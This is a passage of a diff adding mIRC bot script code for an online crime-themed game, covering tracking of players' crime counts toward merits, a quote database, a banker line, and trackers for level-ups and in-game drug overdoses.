+            msg # $tc.col(1) $+ Assuming no additional trains, after $+ $tc.col(2) $3 %sename $+ $tc.col(1) $+ , your $+ $tc.col(2) %statname $+ $tc.col(1) will end up at $+ $tc.col(2) $tc.addComma($round(%endstat,4)) $+ $tc.col(1) $+ .
+          }
+        }
+        else { 
+          msg # $tc.col(3) $+ Stat enchancer encyclopaedia. $tc.col(1) $+ Using without any parameters will display a summary.
+          msg # $tc.col(1) Usage: $+ $tc.col(2) !se (str/spd/def/dex) (Num) $+ $tc.col(1) - will display your saved stat after (Num) amount of stat enhancers. 
+        }
+      }
+    }
+
+    ; --------------------------------- crimes storage commands ---------------------------------
+
+    if ($istok(Selling Theft Auto Drug Computer Fraud Murder Other,$remove($1,$chr(58)),32)) {
+      if ($1-3 == Selling illegal goods: || $1-3 == Selling illegal products) { 
+        if ($5 == $null) { if ($tc.cleanN($4) != $null) { var %cloc = 3, %type = Selling Illegal Products, %crimes = $strip($replace($tc.cleanN($4),$chr(44),$null)) } }
+        else { msg # $tc.col(5) $+ Sorry, crime storage does not support pasting from mibbit. Please paste as individual lines for the time being or use a real client. ;) | halt }
+      }
+      if ($1 == Theft: || $1 == Theft) { if ($tc.cleanN($2) != $null) { var %cloc = 4, %type = Thefts, %crimes = $strip($replace($tc.cleanN($2),$chr(44),$null)) } }
+      if ($1-2 == Auto theft: || $1-2 == Auto theft) { if ($tc.cleanN($3) != $null) { var %cloc = 5, %type = Auto Thefts, %crimes = $strip($replace($tc.cleanN($3),$chr(44),$null)) } }
+      if ($1-2 == Drug deals: || $1-2 == Drug deals) { if ($tc.cleanN($3) != $null) { var %cloc = 6, %type = Drug Deals, %crimes = $strip($replace($tc.cleanN($3),$chr(44),$null)) } }
+      if ($1-2 == Computer crimes: || $1-2 == Computer crimes) { if ($tc.cleanN($3) != $null) { var %cloc = 7, %type = Computer Crimes, %crimes = $strip($replace($tc.cleanN($3),$chr(44),$null)) } }
+      if ($1 == Fraud: || $1-2 == Fraud crimes) { var %cloc = 8, %type = Frauds
+        if ($2 == crimes) { if ($tc.cleanN($3) != $null) { var %crimes = $strip($replace($tc.cleanN($3),$chr(44),$null)) } }
+        else { if ($tc.cleanN($2) != $null) { var %crimes = $strip($replace($tc.cleanN($2),$chr(44),$null)) } }      
+      }
+      if ($1 == Murder: || $1 == Murder) { if ($tc.cleanN($2) != $null) { var %cloc = 9, %type = Murders, %crimes = $strip($replace($tc.cleanN($2),$chr(44),$null)) } }
+      if ($1 == Other: || $1 == Other) { if ($tc.cleanN($2) != $null) { var %cloc = 10, %type = Other Crimes, %crimes = $strip($replace($tc.cleanN($2),$chr(44),$null)) } }
+
+      if (%crimes > 1000000) { msg # $tc.col(5) $+ Nope. | halt } | if (%crimes !isnum) { halt }
+
+      if (%type != $null) {
+        if (%tc.crold. [ $+ [ $nick ] ] != $null) { var %id = $gettok(%tc.crold. [ $+ [ $nick ] ],1,32) } | else { var %id = $tc.getid($nick) }        
+        if (%id != $null) {
+          if (%tc.crold. [ $+ [ $nick ] ] == $null) { 
+            var %ptr = 1, %eof = $lines($tc.crimesfile)
+            while (%ptr <= %eof) { if (%id == $gettok($read($tc.crimesfile,%ptr),1,32)) { set %tc.crold. [ $+ [ $nick ] ] $read($tc.crimesfile,%ptr) | break } | inc %ptr }
+          }
+          ; Not the greatest initialization method, but it'll do for now.
+          if (%tc.crold. [ $+ [ $nick ] ] == $null) { set %tc.crold. [ $+ [ $nick ] ] %id $tc.time -1 -1 -1 -1 -1 -1 -1 -1 } 
+          if (%tc.crnew. [ $+ [ $nick ] ] == $null) { set %tc.crnew. [ $+ [ $nick ] ] %tc.crold. [ $+ [ $nick ] ] }
+          if (%tc.crupd. [ $+ [ $nick ] ] == $null) { set %tc.crupd. [ $+ [ $nick ] ] 0 0 0 0 0 0 0 0 }
+          set %tc.crnew. [ $+ [ $nick ] ] $puttok(%tc.crnew. [ $+ [ $nick ] ],$tc.time,2,32)
+          set %tc.crnew. [ $+ [ $nick ] ] $puttok(%tc.crnew. [ $+ [ $nick ] ],%crimes,%cloc,32)
+          set %tc.crupd. [ $+ [ $nick ] ] $puttok(%tc.crupd. [ $+ [ $nick ] ],1,$calc(%cloc - 2),32)
+          var %crimedata = $tc.crimedata(%cloc,%crimes)
+          if (%crimes != $gettok(%tc.crold. [ $+ [ $nick ] ],%cloc,32) && %crimes != 0) {    
+            if ($gettok(%tc.crold. [ $+ [ $nick ] ],%cloc,32) == -1) { 
+              if (%crimes >= $gettok(%crimedata,2,124)) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(3) $+ You have all the merits/medals for this category! }
+              elseif ($gettok(%crimedata,3,124) != 0 && $gettok(%crimedata,5,124) == 0) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(2) $+ $tc.addComma(%crimes) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma($gettok(%crimedata,3,124)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc($gettok(%crimedata,3,124) - %crimes)) $tc.col(1) $+ to go) towards the $+ $tc.col(2) $gettok(%crimedata,4,124) $tc.col(1) $+ merit. }
+              elseif ($gettok(%crimedata,3,124) == 0 && $gettok(%crimedata,5,124) != 0) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(2) $+ $tc.addComma(%crimes) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma($gettok(%crimedata,5,124)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc($gettok(%crimedata,5,124) - %crimes)) $tc.col(1) $+ to go) towards the $+ $tc.col(2) $gettok(%crimedata,6,124) $tc.col(1) $+ medal. }
+              else { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(2) $+ $tc.addComma(%crimes) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma($gettok(%crimedata,5,124)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc($gettok(%crimedata,5,124) - %crimes)) $tc.col(1) $+ to go) towards the $+ $tc.col(2) $gettok(%crimedata,6,124) $tc.col(1) $+ medal and $+ $tc.col(2) $tc.addComma(%crimes) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma($gettok(%crimedata,3,124)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc($gettok(%crimedata,3,124) - %crimes)) $tc.col(1) $+ to go) towards the $+ $tc.col(2) $gettok(%crimedata,4,124) $tc.col(1) $+ merit. }
+            }
+            else {
+              var %change = $calc(%crimes - $gettok(%tc.crold. [ $+ [ $nick ] ],%cloc,32))
+              if (%change < 0) { var %chgtxt = $tc.col(7) $+ down } | else { var %chgtxt = $tc.col(6) $+ up }
+              if (%crimes >= $gettok(%crimedata,2,124)) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(3) $+ You have all the merits/medals for this category! }
+              elseif ($gettok(%crimedata,3,124) != 0 && $gettok(%crimedata,5,124) == 0) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(1) $+ You have gone %chgtxt $+ $tc.col(2) $remove($tc.addComma(%change),$chr(45)) $tc.col(1) $+ attempts since your last update $+ $tc.col(2) $duration($calc($tc.time - $gettok(%tc.crold. [ $+ [ $nick ] ],2,32))) $tc.col(1) $+ ago, and now have $+ $tc.col(2) $tc.addComma($calc($gettok(%crimedata,3,124) - %crimes)) $tc.col(1) $+ to go towards the $+ $tc.col(2) $gettok(%crimedata,4,124) $tc.col(1) $+ merit. }
+              elseif ($gettok(%crimedata,3,124) == 0 && $gettok(%crimedata,5,124) != 0) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(1) $+ You have gone %chgtxt $+ $tc.col(2) $remove($tc.addComma(%change),$chr(45)) $tc.col(1) $+ attempts since your last update $+ $tc.col(2) $duration($calc($tc.time - $gettok(%tc.crold. [ $+ [ $nick ] ],2,32))) $tc.col(1) $+ ago, and now have $+ $tc.col(2) $tc.addComma($calc($gettok(%crimedata,5,124) - %crimes)) $tc.col(1) $+ to go towards the $+ $tc.col(2) $gettok(%crimedata,6,124) $tc.col(1) $+ medal. }
+              else { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(1) $+ You have gone %chgtxt $+ $tc.col(2) $remove($tc.addComma(%change),$chr(45)) $tc.col(1) $+ attempts since your last update $+ $tc.col(2) $duration($calc($tc.time - $gettok(%tc.crold. [ $+ [ $nick ] ],2,32))) $tc.col(1) $+ ago. You now have $+ $tc.col(2) $tc.addComma($calc($gettok(%crimedata,5,124) - %crimes)) $tc.col(1) $+ to go towards the $+ $tc.col(2) $gettok(%crimedata,6,124) $tc.col(1) $+ medal and $+ $tc.col(2) $tc.addComma($calc($gettok(%crimedata,3,124) - %crimes)) $tc.col(1) $+ to go towards the $+ $tc.col(2) $gettok(%crimedata,4,124) $tc.col(1) $+ merit. }            
+            }
+          }
+          else {
+            if ($gettok(%tc.crold. [ $+ [ $nick ] ],%cloc,32) != -1) {
+              if (%tc.crnochg. [ $+ [ $nick ] ] == $null) { set %tc.crnochg. [ $+ [ $nick ] ] $tc.col(2) $+ %type }
+              else { set %tc.crnochg. [ $+ [ $nick ] ] %tc.crnochg. [ $+ [ $nick ] ] $+ $tc.col(1) $+ $chr(44) $+ $tc.col(2) %type }
+            }
+          }
+          if ($findtok(%tc.crupd. [ $+ [ $nick ] ],1,0,32) == 8) { tc.crimesave $nick # }
+          else { .timer $+ $nick $+ $chr(46) $+ crimes -co 1 2 tc.crimesave $nick # }
+        }
+        else { .timer $+ $nick $+ $chr(46) $+ crimes -co 1 3 msg # $tc.col(2) $+ $nick $+ $tc.col(5) $+ , you have no ID saved with the bot! } 
+      }
+    }
+    if ($1 == !crimes) {
+      if ($timer(0.tcflag.spam)) { msg # $tc.col(5) $+ No can do, too many requests too often. You can try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds. | halt }
+      if ($isfile($tc.crimesfile)) {  
+        if ($2 != $null) { var %find $2 } | else { var %find = $nick }
+        var %id = $tc.getid(%find), %name = $tc.getname(%id)
+        if (%id != $null) { 
+          var %ptr = 1, %eof = $lines($tc.crimesfile)
+          while (%ptr <= %eof) { if (%id == $gettok($read($tc.crimesfile,%ptr),1,32)) { var %crimeread = $read($tc.crimesfile,%ptr) | break } | inc %ptr }
+          if (%crimeread == $null) { msg # $tc.col(5) $+ No saved crimes found for $+ $tc.col(2) %name $+ $tc.col(5) $+ ! }
+          else {
+            var %ptr = 3 | while (%ptr <= 10) {
+              var %crimedata = $tc.crimedata(%ptr,$gettok(%crimeread,%ptr,32)), %crimes = $gettok(%crimeread,%ptr,32)
+              if (%crimes >= $gettok(%crimedata,2,124)) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(6) $+ You have all the medals/merits! }
+              elseif ($gettok(%crimedata,3,124) != 0 && $gettok(%crimedata,5,124) == 0 && %crimes > 0) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(2) $+ $tc.addComma(%crimes) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma($gettok(%crimedata,3,124)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc($gettok(%crimedata,3,124) - %crimes)) $tc.col(1) $+ to go) towards the $+ $tc.col(2) $gettok(%crimedata,4,124) $tc.col(1) $+ merit. }
+              elseif ($gettok(%crimedata,3,124) == 0 && $gettok(%crimedata,5,124) != 0 && %crimes > 0) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(2) $+ $tc.addComma(%crimes) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma($gettok(%crimedata,5,124)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc($gettok(%crimedata,5,124) - %crimes)) $tc.col(1) $+ to go) towards the $+ $tc.col(2) $gettok(%crimedata,6,124) $tc.col(1) $+ medal. }
+              elseif (%crimes != 0) { msg # $tc.col(8) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(2) $+ $tc.addComma(%crimes) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma($gettok(%crimedata,5,124)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc($gettok(%crimedata,5,124) - %crimes)) $tc.col(1) $+ to go) towards the $+ $tc.col(2) $gettok(%crimedata,6,124) $tc.col(1) $+ medal and $+ $tc.col(2) $tc.addComma(%crimes) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma($gettok(%crimedata,3,124)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addComma($calc($gettok(%crimedata,3,124) - %crimes)) $tc.col(1) $+ to go) towards the $+ $tc.col(2) $gettok(%crimedata,4,124) $tc.col(1) $+ merit. }
+              else { msg # $tc.col(1) $+ $gettok(%crimedata,1,124) $+ $chr(58) $tc.col(7) $+ Zero Crimes. }
+              inc %ptr
+            }
+            .timer $+ 0.tcflag.spam 1 $tc.gcd noop
+          }
+        }
+        else { msg # $tc.col(5) $+ No saved ID found for $+ $tc.col(2) %name $+ $tc.col(5) $+ ! }
+      }
+      else { msg # $tc.col(5) $+ No-one's crimes have been saved yet! }
+    }
+
+    ; --------------------------------- banker commands --------------------------------- 
+
+    if ($1 == !banker || $1 == !bankers) {
+      if ($readini($tc.cfgfile,n,Banker,enable) == e) { 
+        var %line $readini($tc.cfgfile,n,Banker,line)
+        if (%line) { msg # $tc.col(1) $+ %line }
+        else { msg # $tc.col(5) $+ No banker line set, use $+ $tc.col(2) !setbanker $+ $tc.col(5) to set it. }
+      }
+    }
+    if ($1 == !setbanker || $1 == !setbankers) {
+      if ($readini($tc.cfgfile,n,Banker,enable) == e) { 
+        if ($2- != $null) {
+          if ($tc.chkadm($nick) == 1) {
+            writeini -n $tc.cfgfile Banker line $2-
+            flushini $tc.cfgfile
+            msg # $tc.col(1) $+ Banker line has been set to: $+ $tc.col(2) $2-
+          }
+          else { msg # $tc.col(5) $+ No can do, you need to be a bot admin to use $+ $tc.col(2) !setbanker }
+        }
+        else { msg # $tc.col(3) $+ Sets the line to be displayed when someone uses !banker. $tc.col(8) $+ (Requires bot admin) $tc.col(1) $+ Usage: $+ $tc.col(2) !setbanker wordswordswords (color codes can be used) }
+      }
+    }
+
+    ; --------------------------------- quote bot commands --------------------------------- 
+
+    if ($1 == !addquote) {
+      if ($2 != $null) {
+        write $tc.quotefile $chan $+ $chr(9) $+ $nick $+ $chr(9) $+ $tc.time $+ $chr(9) $+ $replace($2-,$chr(9),$chr(32))
+        if ($readini($tc.cfgfile,n,Quote,split) == yes) {
+          var %ctr = $tc.qscan($chan)
+          msg $chan $tc.col(1) $+ Added quote number $+ $tc.col(2) %ctr $tc.col(1) $+ for $+ $tc.col(2) $chan $+ $tc.col(1) $+ !
+        } 
+        else { msg $chan $tc.col(1) $+ Added quote number $+ $tc.col(2) $lines($tc.quotefile) $+ $tc.col(1) $+ ! }
+      }
+      else { msg $chan $tc.col(3) $+ Adds a quote to the bot. $tc.col(1) $+ Usage: $+ $tc.col(2) !addquote Quote }
+    }
+
+    if ($1 == !quote) {
+      if ($2 isnum && $2 > 0) { 
+        ; Scan for a specific quote number (using !quote Number)
+        if ($readini($tc.cfgfile,n,Quote,split) == yes) { 
+          var %ctr = $tc.qscan($chan)
+          if (%ctr != $null && %ctr > 0) { var %loc = $tc.qscan($chan,$2) }
+          else { msg $chan $tc.col(5) $+ No quotes saved for this channel. | halt }
+        }
+        else { var %ctr = $lines($tc.quotefile), %loc = $2 }
+        var %qrand = $2
+      }
+      elseif ($2 == $null) {
+        ; Scan for a random quote number (just !quote by itself)
+        if ($readini($tc.cfgfile,n,Quote,split) == yes) {
+          var %ctr = $tc.qscan($chan)
+          if (%ctr != $null && %ctr > 0) { 
+            var %qrand = $rand(1,%ctr) 
+            var %loc = $tc.qscan($chan,%qrand)
+          }
+          else { msg $chan $tc.col(5) $+ No quotes saved for this channel. | halt }
+        }
+        else { 
+          var %ctr = $lines($tc.quotefile)
+          if (%ctr > 0) { var %loc = $rand(1,%ctr), %qrand = %loc }
+          else { msg $chan $tc.col(5) $+ No quotes saved in database. | halt }           
+        }
+      }
+      ; Help
+      else { msg $chan $tc.col(3) $+ Displays a stored quote. $tc.col(1) $+ Usage: $+ $tc.col(2) !quote Number $+ $tc.col(1) $+ . Using $+ $tc.col(2) !quote $tc.col(1) $+ with no number will have the bot select a random quote. | halt }
+      if (%qrand > %ctr) { msg $chan $tc.col(5) $+ There are only $+ $tc.col(2) %ctr $tc.col(5) $+ quotes stored. | halt }
+      ; should only ever reach this point if it has everything it needs. There should be checks throughout above for errors.
+      var %quote = $gettok($read($tc.quotefile,n,%loc),4,9)
+      if (%quote != $null) { msg $chan $tc.col(8) $+ Quote $+ $tc.col(2) %qrand $+ $tc.col(8) $+ / $+ $tc.col(2) $+ %ctr $+ $tc.col(8) $+ : $+ $tc.col(1) $eval(%quote,1) }
+      else { msg $chan $tc.col(5) $+ Quote $+ $tc.col(2) %qrand $tc.col(5) $+ was not found. }
+    }
+
+    if ($1 == !delquote) {
+      tc.chkaccess delquote $nick $chan
+      if ($2 isnum && $2 > 0) {
+        if ($readini($tc.cfgfile,n,Quote,split) == yes) {
+          var %ptr = 1, %ctr = 0
+          while (%ptr <= $lines($tc.quotefile)) {
+            if ($gettok($read($tc.quotefile,n,%ptr),1,9) == $chan) { 
+              inc %ctr 
+              if (%ctr = $2) { var %loc = %ptr | break }
+            }
+            inc %ptr
+          }
+          if (%loc != $null) {
+            write -dl $+ %loc $tc.quotefile 
+            msg $chan $tc.col(1) $+ Deleted quote number $+ $tc.col(2) $2 $+ $tc.col(1) $+ !
+          } 
+          else { msg $chan $tc.col(5) $+ Quote $+ $tc.col(2) $2 $tc.col(5) $+ was not found. }
+        } 
+        else { 
+          if ($read($tc.quotefile,n,$2) != $null) { 
+            write -dl $+ $2 $tc.quotefile 
+            msg $chan $tc.col(1) $+ Deleted quote number $+ $tc.col(2) $2 $+ $tc.col(1) $+ !
+          }
+          else { msg $chan $tc.col(5) $+ Quote $+ $tc.col(2) $2 $tc.col(5) $+ was not found. }
+        }        
+      }
+      else { msg $chan $tc.col(3) $+ Deletes a stored quote. $tc.col(1) $+ Usage: $+ $tc.col(2) !delquote Number }
+    }
+
+    if ($1 == !qspam) {    
+      if (!$timer(0.tcflag.qspam $+ $remove($chan,$chr(35)))) {
+        if ($2 isnum && $2 >= 5) {
+          if ($readini($tc.cfgfile,n,Quote,split) == yes) {
+            var %ctr = $tc.qscan($chan)
+            if (%ctr == 0) { msg $chan $tc.col(5) $+ No quotes saved for this channel. | halt }
+          }
+          else { 
+            if ($lines($tc.quotefile) <= 0) { msg $chan $tc.col(5) $+ No quotes saved in database. | halt } 
+          }
+          var %dur = $calc($2 * 60)
+          .timer0.tcflag.qspam $+ $remove($chan,$chr(35)) 1 %dur tc.qspam %dur $chan 
+          msg $chan $tc.col(1) $+ I will post a random quote every $+ $tc.col(2) $duration(%dur) $+ $tc.col(1) $+ . 
+        }
+        else { msg $chan $tc.col(3) $+ Makes the bot post a random quote every X minutes. $tc.col(1) $+ Usage: $+ $tc.col(2) !qspam Interval $tc.col(1) $+ (in minutes, minimum: 5 min) | halt }   
+      }
+      else {
+        .timer0.tcflag.qspam $+ $remove($chan,$chr(35)) off
+        msg $chan $tc.col(1) $+ Random quote timer has been disabled.
+      }
+    }
+
+    if ($1 == !qtotal) {
+      if ($readini($tc.cfgfile,n,Quote,split) == yes) {
+        var %ctr = $tc.qscan($chan)
+        msg $chan $tc.col(1) $+ There are $+ $tc.col(2) %ctr $tc.col(1) $+ total quotes stored for $+ $tc.col(2) $chan $tc.col(1) $+ and $+ $tc.col(2) $lines($tc.quotefile) $tc.col(1) $+ total quotes from all channels.
+      } 
+      else { 
+        var %ctr = $lines($tc.quotefile) 
+        msg $chan $tc.col(1) $+ There are $+ $tc.col(2) $lines($tc.quotefile) $tc.col(1) $+ total quotes stored in the bot.
+      }
+    }
+
+    if ($1 == !qfind) {
+      if ($2 != $null) {
+        if ($len($2-) < 3) { msg # $tc.col(5) $+ http://i.imgur.com/y2Rs4nQ.gif - please refine your search criteria a bit (at least 3 letters). | halt }
+        msg # $tc.col(1) $+ Searching for $+ $tc.col(2) $2- $tc.col(1) $+ within $+ $tc.col(2) $lines($tc.quotefile) $tc.col(1) $+ total stored quotes...
+        if ($readini($tc.cfgfile,n,Quote,split) == yes) {
+          var %ptr = 1, %ctr = 0 
+          while (%ptr <= $lines($tc.quotefile)) {
+            if ($gettok($read($tc.quotefile,n,%ptr),1,9) == $chan) { 
+              inc %ctr 
+              if ($2- isin $gettok($read($tc.quotefile,n,%ptr),4,9)) { 
+                var %loc = %ctr, %floc = %ptr 
+                var %qfind = $addtok(%qfind,%ctr,32) 
+              } 
+            }
+            inc %ptr
+          }
+        } 
+        else { 
+          var %ptr = 1, %ctr = $lines($tc.quotefile)
+          while (%ptr <= %ctr) {
+            if ($2- isin $gettok($read($tc.quotefile,n,%ptr),4,9)) { 
+              var %loc = %ptr, %floc = %ptr
+              var %qfind = $addtok(%qfind,%ptr,32) 
+            } 
+            inc %ptr
+          }
+        }        
+        if (%qfind != $null) { 
+          msg # $tc.col(1) $+ Found in $+ $tc.col(2) $numtok(%qfind,32) $tc.col(1) $+ quotes!
+          if ($numtok(%qfind,32) >= 200) { msg # $tc.col(5) $+ http://i.imgur.com/y2Rs4nQ.gif - way too many results, please refine your search criteria a bit. | halt }
+          if ($numtok(%qfind,32) == 1) { msg # $tc.col(8) $+ Quote $+ $tc.col(2) %loc $+ $tc.col(8) $+ / $+ $tc.col(2) $+ %ctr $+ $tc.col(8) $+ : $+ $tc.col(1) $gettok($read($tc.quotefile,n,%floc),4,9) }
+          else {
+            var %p = 1, %qfindstr = $null
+            while (%p <= $numtok(%qfind,32)) { 
+              var %qfindstr = %qfindstr $+ $chr(32) $+ $tc.col(2) $+ $gettok(%qfind,%p,32) $+ $tc.col(1) $+ $chr(44)               
+              inc %p
+              if ($len(%qfindstr) > 400) { 
+                if ($calc(%p - 1) == $numtok(%qfind,32)) { msg # $tc.col(1) $+ Quotes: $left(%qfindstr,$calc($len(%qfindstr) - 1)) $+ $chr(46) }
+                else { msg # $tc.col(1) $+ Quotes: %qfindstr }
+                var %qfindstr = $null
+              }
+            }         
+            if (%qfindstr != $null) { msg # $tc.col(1) $+ Quotes: $left(%qfindstr,$calc($len(%qfindstr) - 1)) $+ $chr(46) }
+          }
+
+        }
+        else { msg # $tc.col(5) $+ Search for $+ $tc.col(2) $2 $tc.col(5) $+ was not found in any quote stored. } 
+      }
+      else { msg # $tc.col(3) $+ Searches the bot for quotes containing a query. $tc.col(1) $+ Usage: $+ $tc.col(2) !qfind Query }
+    }
+    if ($1 == !qinfo) {
+      if ($2 isnum && $2 > 0) {
+        if ($readini($tc.cfgfile,n,Quote,split) == yes) {
+          var %ptr = 1, %ctr = 0
+          while (%ptr <= $lines($tc.quotefile)) {
+            if ($gettok($read($tc.quotefile,n,%ptr),1,9) == $chan) { 
+              inc %ctr 
+              if (%ctr = $2) { var %floc = %ptr, %loc = %ctr } 
+            }
+            inc %ptr
+          }
+        } 
+        else { var %floc = $2, %loc = %floc, %ctr = $lines($tc.quotefile) }
+        if (%floc != $null) { 
+          if ($gettok($read($tc.quotefile,n,%floc),3,9) != 0) { 
+            var %qdate = $asctime($gettok($read($tc.quotefile,%floc),3,9),mmm dd yyyy)
+            var %qtime = $asctime($gettok($read($tc.quotefile,%floc),3,9),H:nn tt) 
+          }
+          else { var %qdate = Unknown, %qtime = Unknown } 
+          msg # $tc.col(1) $+ Quote $+ $tc.col(2) %loc $+ $tc.col(1) $+ / $+ $tc.col(2) $+ %ctr $tc.col(1) $+ was posted in $+ $tc.col(2) $gettok($read($tc.quotefile,%floc),1,9) $tc.col(1) $+ by $+ $tc.col(2) $gettok($read($tc.quotefile,%floc),2,9) $tc.col(1) $+ at $+ $tc.col(2) %qdate $tc.col(1) $+ @ $+ $tc.col(2) %qtime $+ $tc.col(1) $+ . (GMT/TC Time) 
+        }
+        else { msg # $tc.col(5) $+ Don't know anything about quote $+ $tc.col(2) $2 $+ $tc.col(5) $+ . }        
+      }
+      else { msg # $tc.col(3) $+ Displays additional information about a stored quote. $tc.col(1) $+ Usage: $+ $tc.col(2) !qinfo Number }
+    }
+
+    ; --------------------------------- drug tracker commands ---------------------------------
+
+    if ($1-11 == After some time you feel no pleasure, but a huge headache.) { tc.xanod $nick # }
+
+    if ($1-15 == You pop a few Xanax pills into your mouth and down a glass of water.) { 
+      if ($16 == A) { tc.xanod $nick # | halt }    
+      if ($16 == After) { tc.xanod $nick # | halt }
+    }    
+
+    ; --------------------------------- misc info tracking commands ---------------------------------
+
+    if ($1-6 == Congratulations! You upgraded your level to) {
+      var %lvl = $int($remove($7,$chr(33))), %id = $tc.getid($nick)
+      if (%id != $null) {
+        if (%lvl > 100 || %lvl <= 0) { msg # $tc.col(5) $+ Liar. | halt }
+        if ($exists($tc.psetfile)) { var %lastlvl = $gettok($tc.getset(%id,lvl),1,32), %lasttime = $gettok($tc.getset(%id,lvl),2,32) }
+        tc.set %id lvl %lvl $tc.time
+        if (%lastlvl > %lvl && %lastlvl != $null) { msg # $tc.col(7) $+ Erm, how do you lose a level? Whichever, updated you reaching $+ $tc.col(2) lv $+ %lvl $+ $tc.col(7) $+ . }
+        else { msg # $tc.col(6) $+ Congrats $+ $tc.col(2) $nick $+ $tc.col(6) $+ ! I have recorded you reaching $+ $tc.col(2) lv $+ %lvl $+ $tc.col(6) $+ ! } 
+        if (%lasttime != $null) { msg # $tc.col(1) $+ You last recorded hitting $+ $tc.col(2) lv $+ %lastlvl $tc.col(1) $+ about $+ $tc.col(2) $duration($calc($tc.time - %lasttime)) $tc.col(1) $+ ago on $+ $tc.col(2) $asctime(%lasttime, mmm d yyyy) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%lasttime, h:nn:ss tt) $tc.col(1) $+ (GMT/TC Time). }
+        else { msg # $tc.col(1) $+ You can see how long ago it was using $+ $tc.col(2) !lastlvl }
+      }
+    }
+
+    if ($1 == !lastlvl) {
+      if ($2 != $null) { var %name = $2 } | else { var %name = $nick }
+      var %id = $tc.getid(%name)
+      if (%id != $null) {
+        if ($exists($tc.psetfile)) { var %lastlvl = $gettok($tc.getset(%id,lvl),1,32), %lasttime = $gettok($tc.getset(%id,lvl),2,32) }
+        if (%lasttime != $null) { msg # $tc.col(2) $+ %name $+ $tc.col(1) $+ , you last recorded hitting $+ $tc.col(2) lv $+ %lastlvl $tc.col(1) $+ about $+ $tc.col(2) $duration($calc($tc.time - %lasttime)) $tc.col(1) $+ ago on $+ $tc.col(2) $asctime(%lasttime, mmm d yyyy) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%lasttime, h:nn:ss tt) $tc.col(1) $+ (GMT/TC Time). }
+        else { msg # $tc.col(2) $+ %name $tc.col(5) $+ has not recorded a level up yet! }
+      }
+      else { msg # $tc.col(2) $+ %name $tc.col(5) $+ does not have an ID saved in the bot. }
+    }
+
+    if ($1 == !xanod || $1 == !lastod) {
+      if ($2 != $null) { var %name = $2 } | else { var %name = $nick }
+      var %id = $tc.getid(%name)
+      if (%id != $null) {
+        if ($exists($tc.psetfile)) { var %last = $tc.getset(%id,xanod) }
+        if (%last != $null) { msg # $tc.col(2) $+ %name $tc.col(1) $+ has last overdosed on Xanax $+ $tc.col(2) $duration($calc($tc.time - %last)) $tc.col(1) $+ ago on $+ $tc.col(2) $asctime(%last, mmm d yyyy) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%last, h:nn:ss tt) $tc.col(1) $+ (GMT/TC Time). }
+        else { msg # $tc.col(2) $+ %name $tc.col(5) $+ has not recorded an overdose yet! }
+      }
+      else { msg # $tc.col(2) $+ %name $tc.col(5) $+ does not have an ID saved in the bot. }
+    } 
+
+    if ($1 == !mcs) {
+      var %id = $tc.getid($nick), %name = $tc.getname(%id)
+      if (%id != $null) {
+        if ($2 == r) {
+          tc.set %id MCS $tc.time 
+          msg # $tc.col(2) $+ %name $+ $tc.col(1) $+ , I have reset your MCS boost time!
+        }
+        else {
+          var %mcs = $tc.getset(%id,mcs)
+          if (%mcs != $null) { msg # $tc.col(1) $+ Your last MCS boost was on: $+ $tc.col(2) $asctime(%mcs,mmm dd) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%mcs,h:nn:ss tt) $tc.col(1) $+ TC time $tc.col(8) $+ ( $+ $duration($calc($tc.time - %mcs)) ago) $+ $tc.col(1) $+ . Use $+ $tc.col(2) !mcs r $tc.col(1) $+ to reset time. }         
+          else { msg # $tc.col(2) $+ %name $+ $tc.col(5) $+ , you haven't recorded a MCS boost yet! To add one, use !mcs r }
+        }
+      }    
+      else { msg # $tc.col(5) $+ Don't know who you are $+ $tc.col(2) $nick $+ $tc.col(5) $+ , need to add your ID to the bot before using the MCS tracker! }        
+    }
+
+    if (($1-3 == You have lost) && ($5-10 == of your drug addiction by rehabilitating)) {
+      var %id = $tc.getid($nick), %name = $tc.getname(%id)
+      if (%id != $null) {
+        var %rep = $tc.cleanN($11)
+        tc.set %id rehab $tc.time %rep
